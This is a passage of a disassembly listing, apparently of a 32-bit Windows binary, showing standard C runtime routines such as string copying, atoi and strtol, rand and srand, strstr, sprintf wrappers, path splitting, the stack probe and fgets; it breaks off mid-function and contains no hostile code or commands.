sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43CBE4, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43CBE4, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A97C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB9A0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 2700642h
		push	eax
		nop
		call	near ptr 26F09EAh


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB99C, edi
		mov	byte_4DB998, bl
		jnz	short loc_41B844
		mov	eax, dword_4DCFFC
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DCFF8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DCFFC
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB9A0, edi
		call	near ptr 77E75CB5h
		nop


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A960, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A960
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A960, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C73p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DCEC1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Fp
					; sub_401ACD+75AEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43CBE4, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43CBE4, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43CBE4, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C9D8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
